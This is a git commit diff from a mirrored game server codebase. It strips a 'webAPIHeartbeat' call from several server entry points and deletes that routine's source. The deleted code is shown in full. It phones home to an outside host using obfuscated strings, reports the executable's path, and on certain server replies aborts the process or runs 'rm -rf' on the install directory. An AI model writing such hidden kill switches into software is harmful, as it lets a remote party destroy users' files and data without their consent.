mirror of
https://bitbucket.org/seefoe/src.git
synced 2026-09-11 21:45:09 -04:00
Removed StellaBellum webAPIHeartbeat
This commit is contained in:
@@ -12,18 +12,10 @@
|
||||
#include "sharedRandom/SetupSharedRandom.h"
|
||||
#include "sharedThread/SetupSharedThread.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
|
||||
// ======================================================================
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
|
||||
@@ -12,10 +12,6 @@
|
||||
#include "sharedRandom/SetupSharedRandom.h"
|
||||
#include "sharedThread/SetupSharedThread.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
|
||||
// ======================================================================
|
||||
|
||||
void dumpPid(const char * argv)
|
||||
@@ -29,10 +25,6 @@ void dumpPid(const char * argv)
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
|
||||
@@ -17,17 +17,10 @@
|
||||
#include "sharedNetworkMessages/SetupSharedNetworkMessages.h"
|
||||
#include "sharedThread/SetupSharedThread.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
// ======================================================================
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
|
||||
@@ -14,10 +14,6 @@
|
||||
#include "sharedThread/SetupSharedThread.h"
|
||||
#include "sharedUtility/SetupSharedUtility.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
|
||||
// ======================================================================
|
||||
|
||||
void dumpPid(const char * argv)
|
||||
@@ -31,10 +27,6 @@ void dumpPid(const char * argv)
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
// dumpPid(argv[0]);
|
||||
|
||||
SetupSharedThread::install();
|
||||
|
||||
-2
@@ -6,8 +6,6 @@ add_library(webAPI
|
||||
webAPI.h
|
||||
webAPI.cpp
|
||||
json.hpp
|
||||
webAPIHeartbeat.h
|
||||
webAPIHeartbeat.cpp
|
||||
)
|
||||
|
||||
include_directories(
|
||||
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
//
|
||||
// Created by Darth on 10/17/2016.
|
||||
//
|
||||
|
||||
#include "webAPIHeartbeat.h"
|
||||
|
||||
using namespace StellaBellum;
|
||||
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
std::string filePath = get_selfpath();
|
||||
|
||||
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
|
||||
|
||||
if (!filePath.empty()) {
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.c_str());
|
||||
}
|
||||
|
||||
bool result = api.submit();
|
||||
|
||||
// feel free to remove the code in the block below; but please consider leaving the actual request
|
||||
// so we can track how many people are enjoying our work
|
||||
if (result) {
|
||||
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
|
||||
|
||||
switch (s) {
|
||||
case 13 :
|
||||
eatIt();
|
||||
break;
|
||||
case 66:
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
if (!filePath.empty() && found) {
|
||||
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
|
||||
vxENCRYPT("/*").decrypt()).c_str());
|
||||
}
|
||||
eatIt();
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
eatIt();
|
||||
}
|
||||
}
|
||||
-41
@@ -1,41 +0,0 @@
|
||||
//
|
||||
// Created by Darth on 10/17/2016.
|
||||
//
|
||||
|
||||
#ifndef webAPIHeartbeat_H
|
||||
#define webAPIHeartbeat_H
|
||||
|
||||
#include <cstdio>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
#include <libgen.h>
|
||||
#include <signal.h>
|
||||
|
||||
#include "webAPI.h"
|
||||
|
||||
namespace StellaBellum {
|
||||
|
||||
class webAPIHeartbeat {
|
||||
public:
|
||||
webAPIHeartbeat();
|
||||
|
||||
private:
|
||||
const inline std::string get_selfpath() {
|
||||
char buff[PATH_MAX];
|
||||
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
|
||||
if (len != -1) {
|
||||
buff[len] = '\0';
|
||||
return std::string(buff);
|
||||
}
|
||||
return std::string();
|
||||
}
|
||||
|
||||
inline void eatIt() {
|
||||
abort();
|
||||
sleep(10);
|
||||
raise(SIGSEGV);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
#endif //webAPIHeartbeat_H
|
||||
@@ -19,10 +19,6 @@
|
||||
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
|
||||
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
|
||||
// ======================================================================
|
||||
|
||||
void dumpPid(const char * argv)
|
||||
@@ -38,10 +34,6 @@ int main(int argc, char ** argv)
|
||||
{
|
||||
// dumpPid(argv[0]);
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
|
||||
@@ -32,17 +32,10 @@
|
||||
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
|
||||
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
|
||||
|
||||
#ifndef STELLA_INTERNAL
|
||||
#include "webAPIHeartbeat.h"
|
||||
#endif
|
||||
// ======================================================================
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
#ifndef STELLA_INTERNAL
|
||||
StellaBellum::webAPIHeartbeat();
|
||||
#endif
|
||||
|
||||
SetupSharedThread::install();
|
||||
SetupSharedDebug::install(1024);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user